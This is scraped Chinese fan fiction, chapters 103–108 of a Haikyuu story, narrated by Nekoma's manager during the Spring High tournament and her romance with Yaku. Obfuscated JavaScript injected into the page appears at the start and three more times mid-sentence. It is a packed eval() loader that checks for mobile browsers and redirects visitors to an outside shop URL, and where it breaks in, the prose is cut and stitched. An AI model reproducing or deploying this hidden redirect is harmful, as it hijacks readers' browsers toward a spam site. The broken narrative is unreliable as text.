l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309452|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场——” “随后是全国47个地区的代表学校入场——” 在广播的指引下，参赛队伍纷纷举着各自学校的牌子有序入场，我有些兴奋地等着，直至听到音驹的名字，才举起专门带来的相机。 我的位置意外不错，正好在所有队伍列队的中央，虽然站在这些面色严肃的选手们正前方让我稍微有点压力，但这里的视野的确超级棒。 聚焦、对准。 按下快门。 ——春高排，正式开始。 # 音驹第一场比赛的对手的一所名叫清川的学校。 大家花了好些时间去适应陌生的场馆和对手，第一局完完全全地处于劣势，分差拉得有些开，直到第二局比赛才在研磨前辈的带领下正式开始发力、而后逐步反超。 音驹vs清川，大比分2:1，音驹获胜。 正式进入第二轮比赛。 比赛顺利结束着实是让我稍微松了一口气，等列好队，跟着大部队撤出比赛场，我才有时间去看手机。 啊……研二哥给我发了好些消息，但没有阵平哥的。 他开幕式这一天没凑上假期来着。 我挨个看过去，望着他从最开始【分差差得好大不会要输了吧】到中途【开始反超了加油啊音驹】，再到最后【首战告捷恭喜啊】，默默脑补了一下他的想法，打字。 【游：研二哥】 对面回得很快：【怎么了？】 【游：保持平常心哦，音驹的比赛一直都蛮考验心脏的】 【游：毕竟是善守的音驹啊】 以防御为长处的音驹的比赛，战线总是拉得很长。 这么想着，我朝比赛比我们早结束一些、所以来看我们比赛的乌野众人挥了挥手，算作打招呼。 “洁子学姐，仁花。”我朝没坐在观众席、而是站在场边看比赛的清水学姐和仁花弯了弯眼睛，道，“恭喜乌野首战告捷。” “音驹也是！恭喜！！”仁花兴奋得脸红红的，“好久不见呀，小游。” 清水学姐也朝我挥了挥手，“恭喜。” ——垃圾场决战更进一步了！ 103. 第一百零三个小岛 春高第一天各个学校都有且仅有一场比赛，音驹的比赛在上午，之后的时间都可以自由活动，所以跟前辈们将专门订的营养餐发下去之后，黑尾前辈便拍拍手，宣布解散。 “吃完饭还有一点时间，大家可以去买买东西，四处逛逛看看比赛都可以，注意安全！到点准时集合，一起回租住的旅馆。” “解散！” 因为经理要负责收拾餐后的垃圾，夜久前辈便留下跟我一起，我们跟另几位留下的前辈一起将垃圾收拾扔掉，才各自分开去自己想去的地方。 其他几位前辈不清楚，但我跟夜久前辈是准备先去买点春高排的纪念品回去。 首先就是少不了的春高吉祥物巴啵酱，有比较大的可以当抱枕的娃娃，还有很小的娃娃挂件，形象都是统一的，颜色则分了好多种，白粉黄橙绿蓝紫，分了不同颜色挨个挂了一排。 我看半天觉得都挺可爱，但又实在有点贵（这么个小挂件竟然卖我一千多日元），就琢磨琢磨，挑了个粉的走。 大号的抱枕也有买，依旧是粉色的，准备等春高结束回家之后摆在家里当纪念。 夜久前辈则只买了白色的巴啵酱挂件，说是前几年春高的时候已经把想要的纪念品差不多买全了。 嗯……除此之外，还有各种各样的印字T恤，我不太欣赏得来这种衣服，盯着墙面上挂着的写了完整的“王牌的心得”的印字T恤，沉默半天，还是放弃了买回去做个纪念的想法。 “感觉木兔前辈会很喜欢那个‘王牌的心得’，”盯着蓝底的印字T恤多看了两眼，我若有所思地这么道，“我记得之前合宿的时候他跟日向他们讲过好多次这个。” “猜很准嘛，”夜久前辈笑了下，“木兔比赛之前专门提前过来先买了一件，生怕缺货。” 我思考了一会儿，伸手勾住夜久前辈垂在身侧的手指晃晃，有些好奇地问：“夜久前辈，你有买过这样的印字T恤吗？” “嗯……虽然现在不太能欣赏，”他嘶了声，“但一年级的时候的确有买过一件来着，不过具体印了什么字已经忘掉了。” “毕竟没穿过几次。”他语气稍微有些微妙，“总觉得很中二，买回来试了几次之后就一直压箱底了。” 欸……竟然猜错了，还以为夜久前辈不会买这样的T恤来着。 顺势将手塞进他掌心，再被他收紧牵住，我朝他那里跨一步跟他贴到一起，四处看了看，没看见认识的人，便回过头，小声说：“我想看。” 夜久没听懂，有些疑惑地转头看过来，“嗯？什么？” 我在他低头看来之前便抢先移开视线，稍有点不太好意思地抿了抿唇，安静两秒，又重新抬头，“……我想看你穿。” “……虽然我倒是没什么意见啦，”他有点无奈，“但买的时候是按一年级时候的尺码买的，现在不一定能穿啊。” “欸……”我有些遗憾地顿了顿，又转而思考了一会儿，“夜久前辈，你当时买了什么尺码的啊？” 夜久回想了一下，“已经记不清了。你问这个干嘛？” 我默默竖起一根手指，给出解决方案，“我再买一件跟你换好不好？我应该能穿。” 这里卖的T恤按照的款式应该都是男款的吧，男装又普遍比女装大一点，就算是三年前夜久前辈的衣服我应该也能穿……虽然我完全不打算穿就是了，不太很符合我的审美。 总感觉夜久前辈穿印字T恤会很好玩，想看。 这么想着，我转头看向半晌没说话的夜久前辈，“怎么样？好不好？” 他不知道为什么正有些震惊地看着我，本来就形状偏圆的棕色眼睛更圆了一点，看起来格外诧异于我的话。 他瞳孔地震，“等、等等，你要换我一年级买的衣服？” “……对？”我看他这反应，不自觉有点茫然而不确定地，有些犹豫应了一声。 “……”夜久深吸一口气，看我带着纯粹迷茫的表情，开始怀疑是不是自己多想了。 他有点一言难尽地伸手掐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309453|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住我一边脸颊，“……你确定啊。” 我后仰了一下，没躲掉，便有点含糊地答：“不是夜久说衣服小了……而且不是说只穿过一两次嘛，又没关系。” “而且夜久前辈介意的话也可以不换啦……反正我会买的。”伸手搭上他手腕，我侧头将脸颊贴上他顺势松开来的手掌掌心，“也不贵啦。” “不是这个问题……”他有点头疼。 他最后还是没拗过我，被拉着去了印字T恤的摊位，但在我摸出钱包之前把我按了回去，自己付了款。 我看看他，又低头看看刚从包里摸出来的钱包，“欸？”了声。 夜久拎着袋子，伸手搓搓我的头发，“哪有让女朋友付钱的。走吧，再逛逛。” “……哦。”我应了声，被他牵着手带着往前，便小跑两步跟上。 之后我们又去了其他场馆看了比赛，中途还遇到了看比赛看得正起劲的研二哥，过去打了个招呼，一块看了两场比赛，就到了集合的时间。 于是跟萩原道别，然后原路返回去放行李的地方集合，等人齐了，便跟着主将去大巴上车的地方。 ——然后就在体育馆外碰到了正好也准备走的乌野他们。 前辈们互相的寒暄和放狠话环节跟一年级们没什么关系，我从夜久前辈身后探出头，跟仁花挥了挥手，摸出刚刚买的好几个春高纪念品，一股脑塞给她。 “哇，你买了好多啊，小游。”她微微睁大眼，有些吃惊地看着我的包，随即手忙脚乱地开始阻止我，“不用这么多……” “没关系，我买了好多，都还挺便宜的。”说着，我给她展示了一下买的巴啵酱挂件和抱枕，有些遗憾地说，“不过巴啵酱贵贵的，买不了多少。” 很喜欢巴啵酱但迫于价格最后只买了三个最喜欢的巴啵酱挂件的仁花非常认同，“对，我只买了三个。” 她也给我展示了一下包上挂着的三个不同颜色的巴啵酱。 我们齐齐遗憾地叹了口气，“唉。” 104. 第一百零四个小岛 音驹和乌野双双彼此自动匹配，在体育馆门口互相聊了一会儿，便在得知大巴已经到地方后分别，临走前，黑尾前辈回过头，朝对面乌野的主将泽村前辈道 “明天也要留下来啊，乌鸦们。” “彼此彼此。” ——春高第一天就淘汰了四十只队伍，“闯过第二天”无疑是一件非常、非常困难的事情。 踏出的脚步都隐隐沉重两分，顿了顿，我抬眸望向被夕阳照得橙黄的前路，半晌，安静地吐出一口气。 呼—— # 留下不留下总归不会是现在需要考虑的事情，跟大家一块吃完饭，再将需要换洗的队服收起来送去给旅馆的洗衣房，我便先回房间洗澡。 套了身配套的宽松且纯棉的睡衣，是上蓝下白的搭配，总体是浅色的，穿着很舒服我就带来了。 吹干头发，再看眼时间，琢磨着洗好的衣服应该已经烘干好了，便套上羽绒服出门，去洗衣房把衣服拿回来挨个叠好，就去把衣服给他们送过去。 排球部这次给选手们租了三间房，按年级住，给经理租的则是另外的单人间，不在同一层。 不过选手们的三间房都是连着的就是了。 我挨个敲门，把一二年级的队服都送过去，然后去敲三年级住的房间的门。 没敲开。 我有点迷惑地盯着门板看了一会儿，又敲了敲。 这个时间也不可能是睡了……那就是出去了不在房间。 我于是沉思两秒，准备把队服放去隔壁二年级前辈们住的房间，反正位置也是相邻的。 转头，碰见正好爬楼梯上来的研磨前辈。 他拿着瓶饮料上来，看到我先是微微怔了一下，见我站在三年级的房间门口，便手指向下指了指，“夜久前辈和小黑还有海前辈在一楼大堂的沙方上聊天，不在房间。” “……我不是来找夜久前辈的。”我有点无奈，将手里装着队服的篮子拎起来给他看了看，道，“刚刚发现房间没人，所以想着放去你们那里来着。” 研磨前辈诡异地沉默了两秒，“啊……抱歉。” ……刻板印象了。 我对他的道歉稍微有点摸不着头脑，“……没事？” 交接了一下篮子里的衣服，我便跟他道别，下楼将篮子放回洗衣房，再重新爬楼回自己的房间。 加起来爬了四楼……好累哦，不想爬楼梯。 一边扶着楼梯接力爬山最后一节台阶，我一边在心里碎碎念着，一转眼，却在自己的房间门口看到了个熟悉的身影。 “……夜久前辈？”我稍有些惊讶地叫了他一声。 正低头看着手机的浅发男生闻言回头看过来，有些讶异地“欸”了声。 我已经加快速度小跑两步凑到他跟前，稍有些惊喜地看着他，问：“你不是在一楼大堂和黑尾前辈他们聊天吗，怎么突然过来了？” “想着来给你送瓶牛奶。”他朝我晃晃手里拿着的那瓶牛奶，随即偏偏头看我，有些郁闷地问，“怎么，不想见我啊？” “才没有。” 下意识反驳完，我才听出他嗓音里含着的笑意，不禁撇撇嘴，有些恼地瞪他一眼。 明明就是因为今天意料之外地见了他一面所以才感到惊喜的……他肯定看出来了！ 他憋笑着拍拍我的脑袋，随即伸手将牛奶塞到我怀里，有些好奇地问：“你怎么知道我去一楼了？” 我摸摸还泛着热意的牛奶，闻言解释道：“去送队服的时候刚好遇到了买饮料回来的研磨前辈啦，他跟我说的。” “他以为你是来找我的？”夜久合理猜测。 我点点头，又一顿，“你怎么猜到的？” “研磨又不是那种话多的人，他不觉得你是来找我的话一句话都不会说的。”他解释，随即低头看了看手机，道，“我先下去了，待会儿要开会，商讨一下明天对早流川工的战术，你早点睡哦。” 早流川工是音驹明天的比赛对手。 我捏了捏牛奶盒的一个角，稍微有点不太满足于这单独相处的五分钟，不自觉抿了抿唇，想了想，小声问他，“……还有多久开始？” 他垂眼看我，不自觉抬了抬眉梢，“还有二十分钟，怎么了？” 二十分钟……比想象中的还要够欸。 舌尖顶了顶上颚，耳朵有些发烫，我稍微有点不太自在地移开视线，不太敢看他的眼睛，嗫嚅两下，小小声说：“……想要晚安吻。” 声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309454|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音很弱，音节又黏在齿间绕了两圈再吐出来，夜久没太听清，但中间的音节已经足够他猜出我在说什么。 但夜久还是假装自己没听见般地反问：“什么？” “……”我有点脸热，安静两秒，索性用空余的手伸手勾住他手指，稍微提了点音量，自暴自弃地说，“……我想你亲亲我。” 下一秒，我听见头顶传来一声轻笑。 # ……当然不可能就在随时可能有人出来的走廊亲，我于是伸手用房卡打开门，拉着夜久前辈的手进来，转头便伸手扶住他手臂外侧，然后踮脚。 第一下亲歪了，只亲到嘴角，我于是微微后退一些松开，再调整位置重新凑上去。 先只单纯贴贴嘴唇，干燥的、带着点些微暖意的，我又微微张嘴，含住他下唇，犹豫两秒，又尝试性地轻吮一下。 ……吻技这方面我算不上好，本来亲的次数也不是很多，每次也都是夜久前辈主导，我没亲几下就想不到这么多东西了，脑袋晕乎乎的，身体也会有点发软。 ……不管怎么说都是夜久前辈的错！ 这么想着，我又有些气闷，于是泄愤般咬了他一下。 不重，很轻，毕竟明天还要出门，真留下什么痕迹……夜久前辈我不确定，但我真的会想找个地缝钻进去然后一辈子不出来。 夜久被动作多少有些急切的女朋友惊了一下，下意识扶住我的腰，但还是先关上我进门就没在意了的开着的门，随即伸手搂住我后腰，低头回应我的吻。 “……怎么这么着急？”停下换气的间隙，他有些呼吸不稳地这么问我。 我喘得比他更厉害一些，正下意识调整着呼吸，闻言安静两秒，有点不自在地道：“……亲太久会被发现吧。” ……哦，不想让其他人发现他们刚刚接吻了。 他倒是理解我脸皮薄，但稍微沉默两秒，还是没忍住，“为什么说得像偷.情一样？我们是正经情侣吧？” “……” 我不知道回什么，于是安静半晌，踮脚主动去吻他。 ……哦，是让他不要再说了的意思。 夜久于是闭嘴，但还是忍不住勾了勾唇角，无声地笑了一下。 ……讨厌！ 105. 第一百零五个小岛 亲了几下，估摸着时间已经过去两三分钟，我便想着后退停下，叫他在不会起疑的时间内走。 ……没成功。 他追着过来再亲几下，搂着我的腰将我按进怀里亲吻，我身体本来就有点发软，这下更使不上力，只有些狼狈地偏头躲，“等、等等……？” “没事……说你回来晚了多等了一会儿就好，再两分钟、好不好？” 我觉得不好。 但再抬眼，望见他在昏暗灯光下隐隐亮着光的眼睛……就说不出拒绝的话了。 ……就两分钟。 # 结果最后又多亲了一会儿。 脸、耳朵，还有脖颈，全都持之以恒地发着烫，我默默坐在床沿，手搭在两腿旁边的被子上，忍不住稍稍用力揪了揪，又松开。 半晌，揉揉耳垂，再伸手拿起收到消息而微微震动了下的手机，然后解锁。 迎面而来的是夜久前辈的私聊。 他给我拍了张照片过来，照片里包含了好多人，没猜错的话应该是正式开会前的集合阶段，灰羽和犬冈正凑在研磨前辈旁边看他打游戏。 【Yaku：所以不用担心啦】 【Yaku：没人注意到我】 我盯了半天，慢腾腾打过去一个【哦】 # 一夜无梦。 第二天的比赛如期开始，音驹和乌野这次的比赛时间相近，没办法去互看比赛，不过倒也没什么影响，毕竟比赛场地是相邻的。 他们的比赛比我们稍微早个七八分钟，所以我们还在收拾场地的时候，那边就已经开始热身了。 ——应援也紧跟其后。 震耳欲聋的吹奏乐声猛地响起，我被吓了一跳，手一抖，原本捡到一半的排球便又掉下去。 我下意识直起身，转头望向隔壁场地。 乌野这场的对手是稻荷崎高校，种子队之一，今年是奔着冠军来的，实力很强，应援也丝毫不弱。 ——他们随队带了一整个吹奏乐团，都是吹奏乐社的成员……我没记错的话，他们吹奏乐社的水平也是全国拔尖的。 不过知道是一回事、看过录像是一回事，现场看到又是另一回事了……没想到还有学校的应援能赶上之前看过的网球比赛的应援啊，好夸张。 短暂感叹了一下，我上前几步，将刚刚掉下去滚走的排球重新捡起来，放到场边的球框里。 等将球场清空，再由工作人员带着拖把上来将场地全面拖了一遍焕然一新后，选手上场热身。 我看两秒，实在没抑制住好奇，转头将目光投向两队选手还在热身的隔壁球场。 两个球场是并排的，但不太巧的是，我们正对的那一方不是乌野，而是非常眼生的稻荷崎高校的队伍。 我稍微有点好奇地盯着那边场地上正在热身的一黄一灰的两个脑袋看了一会儿。 上次见到双胞胎还是夜久前辈的两个弟弟，不过悠真和悠斗是异卵双胞胎，虽然长得也很像（不如说他们兄弟三个长得都很像），但也没有相似到不看头发近乎要认不出来了的程度。 稻荷崎那对双胞胎是同卵双胞胎吧，感觉染回黑头发之后会很难分清的样子。 没记错的话，黄发那个叫宫侑、打二传，灰发那个叫宫治、打接应，一个比一个强，默契又拉满。我又盯两秒，觉得就算抛去垃圾场决战的因素，我也会非常诚恳地希望他们在这场比赛中输给乌野。 这么想着，我移开视线，抬起手，远远跟球场对面站在场外的仁花挥挥手，打了个招呼。 热身很快结束，比赛开始。 音驹这次的对手是石川县的早流川工业高校，值得一提的是，他们的教练以前曾是猫又教练的学生，教导风格中估计也多少有些猫又教练的风格。 他们的防守虽然比不上音驹，但也同样非常坚实，双方你来我往互不相让，比赛进行得格外焦灼。 所以，虽然第一局比赛始终保持着领先、最后也顺利地以25vs23的分数赢下了比赛，但下场短暂休息的选手们没一个是轻松的。 要知道，相同水平下，作为擅长防守的球队，音驹的比赛时间一向是偏长的，但这次……未免也太长了些。 早流川……似乎在故意拖慢比赛进度。 可以得分的球不打，硬是按捺了下了选择不扣死，远远增加了大家的运动量，其中自然也包括体力不算好的研磨前辈。 其他人来不及接球、或是一传称不上到位的情况下，就需要研磨前辈去接球、去移动到一传落点进行二传。 他的运动 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“二传可以始终站在原地寸步不移，这才是我们音驹的能耐。” “但是，”研磨前辈缓了一会儿，在此刻冷不丁地出声道，“只比拼耐力未免也太无聊了。” 他扯了下唇角，语气一如既往，平稳地讲述着自己的计划。 ——故意打乱一传落点，在时机合适的时候露出破绽。 也就相当于是在给他自己赋压。 “要我们把球传到指定的位置当然不是问题，”夜久看向他，“但你都快累虚脱了，还撑得住吗？” “我还是能再跑一跑的。”研磨道，“要是让我每次都跑去底线救球，那我才不乐意。” “而且，不管怎么说都是你们更辛苦吧，要抗住早流川的进攻、还要将球传到我指定的位置。” “但你们能做到的，大家都很有斗志。”他由衷地道。 哨声响起，再次上场。 夜久前辈却没动，而是站在原地看着研磨，问：“还有其他要求吗？” 他没怎么思考便道：“球再传高一点吧。” “明白！” ——比赛继续。 106. 第一百零六个小岛 一切都在按计划进行，包括研磨前辈给自己的加压。 他在第二局比赛过半时，甚至在追球的过程中不小心将自己绊了下去摔在地上。 ……一向可以在比赛中冷静地集中注意力的研磨前辈也开始精神涣散了啊。 侧头望向已经热身完毕，提前拿着换人的号码牌坐在教练席以备不时之需的手白，我不自觉深吸一口气，又吐出，不自觉又些忐忑。 此时正处于局末平分的状态，战线不出意外会再被继续拉长，研磨前辈决定拼第二把的计划已经实现过半，音驹追上了自第二局比赛中旬就开始落后的比分——但相对应的，我们已经堪称没有退路了。 这局比赛输掉的话，音驹的胜率可以说是大幅度地向下跌了一截啊。 ……垃圾场决战。 不自觉地，我下意识偏头，看了眼隔壁球场乌野跟稻荷崎的比赛。 他们还在打第二局比赛，比赛激烈的程度和我们不相上下，正轮到乌野的影山同学发球。 我匆匆看一眼，便立刻转回来，转头，望向我们场地的计分板。 ——28vs28，再次平分。 猫又教练的声音在身侧响起，于我下意识被吸引过去的视线中，他偏头看向手白，道：“球彦，再去热身一下吧。” 手白神情稍有些沉重地点点头，随即从教练椅上起身，转而去热身。 我于是又回过头来，定定将视线投向球场。 ——30vs31，音驹赛点。 漫长的拉锯战后，已经精疲力竭的研磨追着山本传去的球跨出一大步，出乎所有人意料地跃起、仰头、抬手，是只有在接到非常到位的一传时才会做出的、动作幅度甚微的二次进攻的样子。 但下一秒，他抬手，将球直直传给在四号位高高起跳的福永。 ——“啪” 排球落在地上随后弹起的声音细小而轻微，混在体育场嘈杂的环境中像一滴水滴入了大海那样无声无息。 但所造成的结果却同滴水入海的效果丝毫不同。 代表得分的短促哨声响起后，伴随着代表比赛结束的长哨响起，震耳欲聋的欢呼声也随之爆发出来。 “——赢了！！” # 列队、鞠躬、致谢，然后给之后比赛的队伍让出场地，我拎着毛巾什么的东西慢腾腾来到场边大家聚集的地方，刚走进，便见研磨前辈有些恼羞成怒地拔高音量，抗议道：“为了同伴去努力有什么好奇怪的！我这么干就很奇怪吗？！” 还没反应过来发生了什么，下一秒，山本前辈非常感动地朝他扑过去，“研磨——” 福永前辈张开双臂紧随其后。 研磨前辈一瞬间惊恐起来，“干什么？你们要干嘛？” “福永你别跟着他起哄！！” 夜久前辈在旁边看乐了，“山本也太夸张了吧。” 黑尾前辈看起来却不这么觉得，他回头看了眼被队员围在中间显得极为弱小无助的研磨一眼，道：“还好吧，研磨可是很少将别人称作同伴的。” “经过这件事后，要是研磨也能对排球有对游戏的一半热情就好了。”夜久前辈看热闹不嫌事大地压低声音，模仿着黑尾的语气这么道。 黑尾有点无语，“别随便给我配音好吗？” 我见他们在聊，便也没去打扰他们，而是跟其他没上场的同级生一起动作很快地收拾好东西，顺便将吃剩的果皮收起来打包扔掉，确定收拾干净了之后，才摸去夜久前辈身边。 “我想先去洗手。”我皱巴着脸道。 虽然手上本来就沾了汗，但刚刚不小心抹了一手灰……好脏。 “那正好一起去吧。”海前辈闻言偏头看过来，提议道，“反正本来也要去换衣服的。” 顿了顿，他忽地意识到什么般回头看了眼，随即有些惊诧地问：“你们什么时候收拾好的？怎么不叫我们？” ——完全没意识到啊，不是刚比赛结束不久吗，怎么这么快？ 我实在有点受不了自己沾灰了的手了，感觉全身上下哪哪都难受，闻言“啊？”了声，“就刚刚？前辈们刚比赛完，我们没上场的收拾就好了。” 急匆匆说完，我告辞，“你们先去换衣服，我直接去洗手了……待会去乌野 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日向打完三局比赛竟然还有力气，他蹦蹦跳跳地围着他们两个转圈，“我呢我呢？！列夫！” 灰羽毫不吝啬夸赞，“你和影山一起拦的最后那球简直帅爆了！！” “我也觉得！！”日向欣然应下。 主将们先互相打了个官腔，互相祝贺了一下彼此闯进春高第三天，随即就开始暴露本性。 黑尾前辈狂拍泽村前辈的背，“明天就是垃圾场决战了啊泽村！有没有感到热血沸腾！” 泽村累得要死，差点没被他一点没收力的击打拍地上，闻言没好气地怼开他的手，“当然有啊！！” ——这可是他们所有人都为之期待、为之努力的垃圾场决战。 旁边，听了一耳朵之后终于从赢下了比赛闯进第三轮的兴奋中挣脱出来，想起明天就是垃圾场决战的日向欢呼起来，“研磨——明天就是垃圾场决战了——！” 研磨难得无视周围人注意到这边的动静投来的视线，也跟着弯起嘴角，“嗯。” 去打垃圾场决战了！ 107. 第一百零七个小岛 我没去参与他们选手们的庆祝，默默钻到仁花旁边，给还没止住眼泪的好朋友递纸。 她抹着眼泪啪地伸手抱住我，“小游，我们打赢稻荷崎了！” “啊……啊。”我惊住，下意识手足无措地胡乱比划了一下，随即慢半拍地、有些犹豫地拍拍她的背，“恭喜哦。” “别哭啦，擦擦脸。”我安慰她，“明年、后年，还会再赢好多次的，要习惯啦，仁花。” 仁花抹把脸，“明天也会赢的！！” “……你在对明天比赛对手学校的经理说什么啊！”我想收回我的纸巾了，“就算我们是朋友我也不会赞同你的！” “小游你刚刚不也跳过‘今年’了！” “……你竟然还注意到这个了？哭的时候倒是沉浸一点啊，仁花。” “不注意到才难吧！” # 因为下午还要再过一段时间才到枭谷的比赛、需要在场馆内等一会儿，所以我就拉着夜久前辈去找自动贩卖机，准备买瓶水或者饮料，免得待会渴。 今天来体育馆的时候没想起来带自己的水杯来着，清点完选手们上场的时候所需要的毛巾之类的东西之后就没管自己的东西了——下意识觉得没东西要带就空手走了。 然后就连包都忘拿了。 幸好前一天付完款就顺手把钱包放进队服的口袋里了，要不然连自动贩卖机里的水都买不了（不过没带钱包也没关系啦，有夜久前辈在呢） 站在自动贩卖机前，我看了看贩卖机中五花八门花花绿绿的饮料，稍稍沉思了会儿，选择将机子让给听到我们要来自动贩卖机买饮料后主动提出同行的影山。 “稍微有点纠结买哪个好，毕竟很多都没喝过来着。”一边诚实地实话实说，我一边侧身让开位置，道，“我可能还要再挑一挑啦，影山同学你先买吧。” 时常有些凶神恶煞但其实只是个脸凶但很纯粹的单细胞动物的黑头发同级生闻言上前一步，朝我道谢，“那就谢了。” 我没回他礼貌性的道谢，只盯着他的动作瞧，看看能不能从他的选择中种草点什么东西。 然后我便看到他投了硬币之后对着自动贩卖机四处寻找了一下，然后对着其中两个键伸出两根手指，一齐按下。 我和夜久前辈齐齐向他投去疑惑的目光。 自动贩卖机响起咕噜咕噜的、有什么东西掉下来了的声音，黑发同级生弯腰推开挡板，将其中掉下来的饮品拿出来。 他随即回身注意到我们疑惑而带些问询意味的视线，再低头看看自己手中的盒装牛奶。意识到我们在疑惑什么，便习以为常地解释道：“因为牛奶和酸奶都很喜欢，但又不知道选哪个，所以就干脆两个一起按、看哪个会掉出来就喝哪个了。” “选择困难症被你巧妙地化解了啊，影山。”夜久前辈朝他竖起一个大拇指，“干得不错！” 影山一口气吸完牛奶，“？” 他看起来完全没get到夜久前辈开的玩笑，绷着张一本正经的脸呆呆思考两秒，谨慎道：“谢谢？” 夜久已经习惯自己开玩笑却被这群单细胞生物当真的事情了（毕竟音驹存在一个说什么信什么的叫灰羽列夫的神奇物种），他见影山把自己的玩笑当成夸奖礼貌回应，便也跟着当自己刚才是在夸他，慷慨回应，“没关系。” 影山正想回话，便被我问了个问题。 “影山，你刚刚让自动贩卖机二选一的酸奶是哪个啊？”我对着自动贩卖机摸着下巴思考了99一会儿，问。 他老老实实伸手给我指了一下，不忘安利，“这个很好喝。” 我很快决定，“那我也尝尝。” 投币、按按钮，然后推开下面的挡板拿出掉在里面的酸奶，我沉思两秒，又买了一罐红豆年糕汤。 想吃点热乎乎的甜甜的甜品，冬天就是要喝像这样的热乎乎的甜汤才对。 夜久前辈只是陪我来，他自己没什么要买的东西，于是等我和影山买完，我们便一起往枭谷被分到的场地走。 ——对，影山也要去看枭谷的比赛。 “反正大巴也要再过几个 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夜久前辈看起来也有些惊讶，他随即很快调整过来，跟他们逐一打了个招呼，随即作为中间人为彼此介绍了一下在场的陌生人，“这是我们音驹的经理，小岛游绘。小岛，这是井闼山的主攻手佐久早圣臣和自由人古森元也。” 我正稍有些好奇地打量两眼发型跟阵平哥高度相似的这位黑发前辈，闻言，忙作为后辈主动道：“佐久早前辈、古森前辈好，我是小岛游绘。” ——话说，没记错的话，那场让我正式决定加入排球部成为经理的比赛，对手就是井闼山吧？ 两位前辈跟我逐一友好地打了个招呼，再一群人一起聊了两句，主动来打了个招呼的古森看了眼手机，便有些遗憾地朝他们告辞，“快到集合时间了，我们就先走了。” “恭喜音驹和乌野打进第三轮！”临走前，他笑着恭喜一句。 我们礼尚往来，“恭喜井闼山打进第三轮！” ——虽然井闼山打进第三轮其实算是常态，但该恭喜还是要恭喜的。 108. 第一百零八个小岛 枭谷和守川的比赛以枭谷胜出结束，看完比赛，跟枭谷众人打了个招呼，我们便离开场馆，乘坐大巴回了旅馆。 春高两天的比赛下来，参加比赛的队伍淘汰大半，男女组都各自只剩下十六只队伍。 春高第一天和第二天每只队伍都仅有一场比赛，但第三天的比赛安排却很满，上午是十六进八的比赛，下午则是四分之一决赛，赛程激烈，连带着观众也多了不少。 毕竟不管是谁都会更喜欢实力强劲的队伍之间的比赛吧。 观众嘈杂的声音无时无刻地传进耳侧，我不自觉咬了咬舌尖，靠传上来的些微疼痛感让自己再清醒一点。 心脏咚咚地跳得很快，我深吸口气，无端感觉自己像是回到了许久之前的那个夏天。 还真是少有的紧迫感啊……明明加入排球部成为经理、看过这么多场比赛之后，已经很少有这种感觉了。 毕竟垃圾场决战是特殊的——不管是对我们之中的哪所学校来说都是特殊的。 音驹和乌野，猫和乌鸦，垃圾场决战。 抬眼，望向这两天中难免升出些熟悉感的场馆，我望见格外高的天花板，还有因为开得很亮、所以盯久了多少会有些刺眼的照明灯。 呼……我缓缓呼出一口气。 这一天终于到了啊。 # 正式热身结束，在拉拉队整齐又响亮的加油声音中，穿着红白颜色运动服的选手们围成圈，加入每场比赛例行的圆阵中去。 “——我们是血液。” “不受阻碍地流淌，带着氧气循环全身，” “好让大脑正常运作。” 黑发主将的语气带着无法掩饰的兴奋与热血。 “去将他们啃食殆尽吧——！！” # 等待解说员介绍双方选手的空档，我回过头，望向因为来得早、加上是经理家属，所以被小茜邀请和她们一起站在观众席第一排的两位现役警官。 他们穿得很随意且日常，融入拉拉队融入地很丝滑，研二哥正举着两个红色的应援棒跟着口令一起挥，见我回头，便顺势停下，朝我挥挥打个招呼。 阵平哥终于抛弃了他不知道为什么从上警校开始就爱上了的墨镜，看起来凶神恶煞的感觉淡了不少，手上也提了两根应援棒，随意用空的手朝我挥了下。 我跟他们、还有小茜和艾丽莎姐姐挨个打个招呼，便在代表比赛开始的长哨声中回过头，将视线投向场上。 ——选手就位，比赛开始，由乌野的二传影山发球。 双方选手都在一次次的练习赛中对彼此足够熟悉，于是强力的跳发被顺利接起，双方彼此拉扯几个来回后，由影山和日向的快攻拿下比赛开始后的第一分。 “——来打一场不能重来的比赛吧！研磨！！” 场上的气氛被这一球彻底点燃，热烈朝气的气息扑面而来时，我听见日向在快攻落地后，站在网前、带着极兴奋的笑容大声朝对面的研磨前辈喊道。 我侧目，望见研磨前辈无声地勾起唇角，露出一个笑来。 ……说实话笑得多少有点渗人，但是，研磨前辈很有斗志啊。 影山发出的第二球在来回几次后，由灰羽扣杀得分，将比分扳平。 但大家前脚刚为他的表现欢呼，没过多久，他便后脚发了个下沿砸在网上、险些没过网的球。 不过索性还是过了，日向在网前紧急调整位置，但还是难免有些手忙脚乱地才将球接起，不得不应被绊住手脚而缺席这次进攻。 不过，这球在双方球场飞了几个来回后，还是因拦网失误而由乌野得分。 打到现在，双方的分数差始终维持在1和0之间，其中，乌野的分数一直保持领先，然后于下一球被音驹赶上。 你追我赶，毫不相让。 乌野派救场发球员山口上场，跳飘首先拿下一分、接着便在第二球被海前辈上手上手了接球接起，传给研磨，又再被网前的月岛拦网得分。 分数再次拉开。 